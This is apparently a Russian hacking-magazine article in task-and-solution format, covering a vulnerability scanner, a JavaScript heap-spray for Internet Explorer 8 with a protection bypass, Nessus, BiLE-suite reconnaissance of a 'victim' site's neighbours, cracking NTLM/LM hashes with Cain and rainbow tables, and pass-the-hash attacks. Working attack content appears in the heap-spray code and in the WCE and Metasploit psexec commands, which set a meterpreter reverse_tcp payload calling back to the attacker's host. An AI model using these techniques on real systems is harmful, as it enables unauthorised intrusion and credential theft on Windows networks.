Задача: Организовать контроль уязвимого ПО под Windows

 

Решение

Не секрет, что количество client-side-атак все увеличивается и увеличивается, поэтому надо задуматься и о своей безопасности. Мы с вами люди, конечно, прошаренные, но не всегда удается уследить за дырками и заплатками ко всему тому ПО, что стоит на домашних компах, особенно если это ОС из семейства Windows. Поэтому рекомендую такую классную вещь, как PSI от Secunia (secunia.com/vulnerability_scanning/personal/).

Эта тулза мониторит установленное на твоем компе ПО на предмет известных уязвимостей. И если такое присутствует, дает ссылку на его обновление, либо исправление. Особое внимание уделено дыркам в браузерах, их плагинах, элементах ActiveX.

Конторе Secunia можно доверять: тулза знает большое количество самого распространенного ПО, а база уязвимостей содержит самую актуальную информацию (что приятно — иногда с точным описанием уязвимостей). Подытожу: такое ПО можно добавить в джентельменский набор к антивирю и файеру. Да и обычным юзерам желательно его поставить: мозгов особо не нужно, а основные дырки все же будут закрыты.

 

Задача: Внедрить Heapspray в Internet Explorer 8

 

Решение

Несколько лет назад, до Explorer’а 8, было очень модно использовать технику хипспрея. В основном это делалось для создания живучих сплоитов, так как вне зависимости от системы мы знали, где находится шеллкод. Напомню, что хипспрей — это создание большого количества куч, заполненных NOP’ами с шеллкодом в конце. Мы создаем их так много, что забиваем всю память. А потому почти со 100% вероятностью можем утверждать, что если передать управление по адресу 0x0d0d0d0d, например, то попадем в нашу кучу, где сначала исполнится NOP-sled, а потом и наш шеллкод. Сами кучи, в основном, создавались посредством следующего JavaScript-кода:

//Shellcode в переменную:
var shell = unescape("какой-то_шеллкод");
//NOPы:
var bigbk=unescape("%u9090%u9090%u9090%u9090");
while(bigbk.length<0x50000) bigbk=bigbk+bigbk;
//Создаем кучи
var mem=new Array();
for(i=0; i<400;i++) {mem[i]=bigbk+shell;}

Но в Internet Explorer 8 люди из Майкрософта создали защиту от хипспрея на JS. Это стало одной из причин появления и распространения всяческих JIT-spray техник на основе Flash’а, Java, .NET-технологий, о которых можно было прочесть в прошлых номерах в статьях Алексея Синцова.

Однако не так давно Dave Aitel из компании IMMUNITY показал, как можно обойти защиту от хипспрея в IE8. А именно:

//Создаем кучи
var h1=new Array();
h1[0] = bigbk + shell;
for (var i = 1 ; i < 300 ; i++) {
h1[i] = h1[0].substring(0,h1[0].length )
}

За это честь ему и хвала :). Более конкретных примеров приводить не буду, так как лучше посмотреть «вживую». А именно — в видеоролике к статье из прошлого номера про банк-клиенты за авторством все того же Алексея Синцова.

 

Задача: Автоматизированный поиск уязвимостей в сетке

 

Решение

Вернемся к олдскулу. Лет 10 назад всевозможные сканеры уязвимостей (Nessus, Retina, Xspider, etc.) были очень распространены, очень модны.

Большая часть «взломов» заключалась в сканировании подсетки каким-нибудь из них, нахождению сплоита под обнаруженную узявимость и эксплуатацию его. В общем-то, изменилось немногое :). Разве что ПО стало «покрепче», а народ в массах перешел на взлом сайтов.
Куча проектов зародилось в те времена, но только несколько дожили до наших дней. Правда, теперь это в основном высококлассное платное ПО.

Хотя к взлому это имеет косвенное отношение: использование сканеров уязвимостей типа Nessus — достаточно «шумный» процесс. Но если ты находишься на светлой стороне, то можешь найти уязвимости в подвластной тебе сетке и радоваться этому :). Хотя и для другой стороны есть свои бонусы. Можно, например, смоделировать вражескую подсетку или отдельные хосты с сервисами и натравить на них сканер. А выявленные уязвимости уже вручную попробовать реализовать на жертве. Все-таки базы уязвимостей у сканеров очень приличные.

Как уже было написано выше, продукты в основном платные. Но есть пара вариантов. К примеру, можно попробовать такой классический вариант, как Nessus (tenable.com/nessus/).

Имеется версия, немного урезанная для «домашнего использования» (эх, а раньше был опенсорсным :)). Сам Nessus модульный и имеет клиент-серверную архитектуру. Основной функционал несут плагины.

Ставится сканер очень просто:

  1. Устанавливаем сервак;
  2. Запускаем Nessus Server Manager и прописываем ключ, выданный на сайте после прохождения регистрации;
  3. Там же прописываем пользователей;
  4. Коннектимся на https://localhost:8834/.

Далее требуется создать и настроить профиль для сканирования (policies), потом уже можно сканировать(scans). Итоги — в Reports. Прога в основе простая, но имеет широкие возможности по настройке. И чтобы не потеряться, имеется хорошая документация и набор видеороликов на сайте производителя. Интересно будет всем, хотя бы побаловаться.
В общем, строим пентест-лабораторию, ставим сканер и повышаем свои скиллы :).

 

Задача: Поиск взаимосвязанных сайтов

 

Решение

Сбор информации о жертве — дело важное, с этим вряд ли кто-то поспорит. Когда цель — небольшой сайт, то проблем особых нет. Пробежался ручками по сайту, его «соседям» и по его «возможностям»; просканил spider’ом структуру; нашел хостинг, да CMS’ку — и дело в шляпе. Основные направления возможных векторов атаки у нас в руках.

Но когда «работаешь» с чем-то более крупным, дело достаточно сильно усложняется. Особенно если требуется не просто найти какую-то одну уязвимость и влезть через нее, а рассмотреть все возможные пути причинения ущерба ресурсу. Либо в ситуациях, когда основной сайт достаточно хорошо защищен, попытаться «залезть» через его «соседей». Под «соседями» здесь понимаются ресурсы, которые каким-либо образом взаимосвязаны с нашей целью, будь то бизнес-отношения, либо технические (обмен контентом, например).

Большая часть действий производится с минимальной автоматизацией. Для понимания взаимоотношений между сайтами нужен мозг :). Но чтобы не лазить по просторам сайтов впустую и не тратить драгоценное время, есть один наборчик, который может нам помочь.

Небезызвестная компания Sensepost еще 6 лет назад представила набор скриптов на Perl’е для сбора информации о ресурсах — BiLE-suite (sensepost.com/cms/resources/labs/tools/misc/BiLE-suite.tgz). Сейчас набор входит и в платный пакет BiDiBLAH.

BiLE-suite включает в себя разнообразные тулзы, большая часть которых связана с работой с DNS. Но есть пара под нашу задачу — BiLE.pl и BiLEweigh.pl. Суть заключается в том, что сначала первый скрипт, используя запросы в гугле в стиле «link:», находит сайты, ссылающиеся на нашу жертву. Потом, сканируя структуру нашей жертвы, находит все исходящие ссылки. А с помощью BiLE-weigh определяются весовые коэффициенты, указывающие на взаимосвязанность сайтов между собой. Причем последний скрипт дает оценку не просто по количеству ссылок между сайтами; учитывается и то, ссылаются ли они друг на друга или только «в одну сторону», и какое общее количество исходящих ссылок на конечных сайтах (чтобы снизить оценку новостным порталам).

Для работы скрипта требуется HTTrack (httrack.com/page/2/en/index.html). HTTrack — это оффлайн-браузер, с помощью которого BiLE скачивает сайты и потом уже парсит их, доставая ссылки.

HTTrack есть и под Win, и под *nix’ы. Скрипты BiLE-suite заточены под никсы, но поработав напильником, можно заставить их работать и под виндой. Мне скрипты понравились, я себе на BackTrack4 поставил.
Итак, сначала ставим HTTrack:

#tar xvfz httrack-3.43-9C.tar.gz
#./configure && make && su -c 'make install'

На сайте написано, что можно поставить webhttrack с репозитория, но там не та версия, которая требуется. Далее пришлось подкорректировать BiLE-weigh.pl:

Заменяем:

`cat temp | sort -r -t ":" +1 -n > @ARGV[1].sorted`;

На:

`cat temp | sort -r -t ":" --key=2 > @ARGV[1].sorted`;

Возможно, также придется подкорректировать переменную $mc в 67 строке в BiLE.pl. Например, убрать скачку swf-файлов, которые для нас бессмысленны, или указать полный путь до HTTrack для работы под Win.

Пример использования BiLE по сайту backtrack-linux.org:

perl BiLE.pl www.backtrack-linux.org BT

Где www.backtrack-linux.org — название анализируемого ресурса;
BT — название итогового файла.

Если точнее, то будет BT.mine и BT.warus, но последний ни для чего не используется.
Запускаем определение и сортировку весовых коэффициентов:

perl BiLE-weigh.pl www.backtrack-linux.org BT.mine

В итоге мы получим BT.mine.sorted. То есть список взаимосвязанных сайтов в порядке убывания, по которым и начинаем ползать ручками :).

 

Задача: Вынуть пароль из NTLM/LM-хеша

 

Решение

Издревле одной из основных целей взлома являлось получение админского доступа к хосту. И если отбросить все, то данный доступ подразумевает знание админского пароля. Откуда же его получить? Способов масса :). Но сегодня мы поговорим о том, как вынимать их прямо из ОС. А точнее, о Windows-системах с их LSA- и SAM-хранилищами.

Я думаю, всем известно, что Windows не хранит пароли в открытом виде. Он их в NTLM и LM-хешах хранит. По сути, это MD4 и DES-хеш соответственно. Как понятно, доступ к LSA- и SAM-хранилищам (есть еще места) простым смертным закрыт. Но хорошие дяди в разноцветных шапках написали кучку тулз, чтобы вынуть хешики из того или иного места.

Жаль, что для большей части этих тулз требуются высокие привилегии из-за необходимости использования техники DLL-инжекта, а именно — SeDebugPrivilege. Кроме этого хеши можно получить с помощью снифферов.

На самом деле проблем, связанных с безопасностью у NTLM’а, как протокола, достаточно много. Причем они настолько глубоки, что не имеют простых решений в данной реализации (точнее, реализациях) протокола.

Но перейдем к делу. Предположим, мы влезли в систему под управлением ОС Windows и сдампили хеши, используя тулзу pwdump, например, или проснифали NTLM-хеш с challenge’ем, используя модуль smb_sniff из Metasploit’a (см. майский номер журнала). Что с ними делать дальше?

Методов несколько, но для примера пробрутфорсим с помощью такой чудо-проги, как Cain&Abel (oxid.it/cain.html).
Все, что нам требуется — подгрузить хеши в прогу (вкладка Cracker) и выбрать метод перебора:

  1. Прямой перебор;
  2. По словарю;
  3. По радужным таблицам.

Далее можно начинать перебор. Если доступен LM-хеш, то лучше начать с него. Так как он, во-первых, регистронезависмый, уменьшается набор символов для перебора. А, во-вторых, состоит из двух частей по 7 символов, каждый из которых можно брутить отдельно.

Причем пароль дополняется нулями, если он меньше 14 символов. Поэтому, найдя кусок из второй части, можно уже более нацелено подойти к подбору первой. Все это существенно ускоряет процесс перебора. После этого можно перебрать NTLM-хеш, определив тем самым регистр найденного пароля. C LM-хешами есть пара важных моментов:

  • Начиная с Висты, LM-хеши не генерятся для пользователей;
  • Если пароль длиннее 15 символов, то его нельзя восстановить из LM-хеша;
  • Большинство тулз по подбору некорректно работают с русской кодировкой cp866.

Думаю, с настройками перебора в Cain’е проблем возникнуть не должно:

  • Выбираем тип перебора;
  • Тип хеша;
  • Словарь или алфавит для перебора.

Если же пасс получен из сниффера, то тип выбирается с пометкой Challenge. У smb_relay сhallenge равен «1122334455667788». Но если приходится часто сталкиваться с перебором, особенно по большим алфавитам, то желательно воспользоваться «радужными таблицами» (rainbow tables). Поскольку за пару абзацев идею не донести, читай статейку habrahabr.ru/blogs/algorithm/82941/, а также гугл в помощь. А для приближенного понимания — суть в том, что в таблицах уже просчитаны и специальном образом свернуты хеши для большого количества паролей.

Таблицы достаточно крупные по своим размерам, генерятся достаточно долго, но оправдываются высокой скоростью нахождения пассов в дальнейшем.

Достать их можно либо в Сети (ищи на торрентах), либо купив, либо сгенерив на дому. Для генерации таблиц можно использовать либо rtgen.exe из набора RainbowCrack (project-rainbowcrack.com/index.htm), либо используя winrtgen.exe из Cain’а. Но у последней, опять же, траблы с русским языком.

Брутфорсить по полученным таблицам лучше с помощью RainbowCrack. Кстати, есть мнение, что добавление соли (salt) к паролю при использовании хеш-функций (как, например, это делается на многих форумах) не дает возможность использовать радужные таблицы для перебора.

Это не так. Проблема заключается лишь в том, что нужно будет создать радужные c этой солью. Поэтому есть таблицы и для NTLM-, и для NTLM+challenge-хешей.

 

Задача: Получаем админские права под Windows без брута NTLM/LM-хешей

 

Решение

Я продолжу предыдущую тему, но несколько в другом контексте. Пасс админа — вещь, конечно, прекрасная, но цель наша — все-таки админский доступ.

К тому же, если говорить о доменном админе, то до его прав или хешей во многих случаях получается добраться постепенно. А начинается это, чаще всего, с компа какой-нибудь бесправной секретарши. Потом — права какогонибудь саппорта, админские и т.д. Хеши — это конечно прекрасно, но брутить все подряд — дело долгое. К нашей радости, все в том же протоколе NTLM, в обеих его реализациях, есть большая дырка. Для аутентификации достаточно знать только хеш пользователя. То есть даже брутить ничего не надо. Достал хеш — и можешь лазить по сетке с правами скомпрометированного юзера :). Техника тоже очень старая, в теории существующая аж с 1997 года.
Название — Pass The Hash. По факту очень юзабельна. Тулз для реализации несколько.

Я опишу две. От «создателя» техники — Hernan Ochoa (oss.coresecurity.com/pshtoolkit/doc/index.html и hexale.blogspot.com) и модуль, входящий в состав Metasploit.

Не так давно pshtoolkit был переработан и теперь называется WCE: Windows Credentials Editor (www.ampliasecurity.com/research/wce_v1.0.tgz). Не обращай внимание на «странное» расширение — в архиве обычный ехе’шник.
Итак, основные возможности WCE. Для начала можно вынуть NTLM/LM-хеши из памяти.

То, что в памяти:

>wce.exe –l

После каждого logon’а:

>wce.exe –e

Каждые 10 секунд:

>wce.exe –r10

Записать итог в память:

>wce.exe –o ntlms.txt

Далее — добавить/удалить хеши в память, модификация данных по сессиям:

> wce.exe -s user:Victim:1F27ACDE849935B0AAD3B435B5140
4EE:579110C4914
5015C47ECD267657D3174 -c "c:\Program Files\Internet
Explorer\iexplore.exe"

Где -s «добавляет» нового пользователя с именем «user», доменом «Victim» и последующим LM- и NTLM-хешем, а -с указывает, какую программу следует запустить под этим пользователем (в примере — Проводник). В Metasploit’е, как обычно, все делается быстро и просто. Запускаем модуль для выполнения pth:

msf>use exploit/windows/smb/psexec

Нагрузка — метерпретер и свой IP для бекконнекта:

msf>set PAYLOAD windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.146.129

Указываем нашу жертву:

msf>set RHOST 192.168.0.101

Имя пользователя, от которого будут выполняться команды:

msf>set SMBUser Администратор

И его "LM:NTLM" хеши:

msf>set SMBPass 1F27A…….04EE:579…….2676

Запускаем атаку:

msf>exploit

В итоге получаем доступ к хосту с правами пользователя через Meterpreter.

Check Also

DDoS на Bluetooth. Разбираем трюк, который поможет отключить чужую колонку

На свете существует не так много вещей, которые бесят практически всех без исключения. Это…

Оставить мнение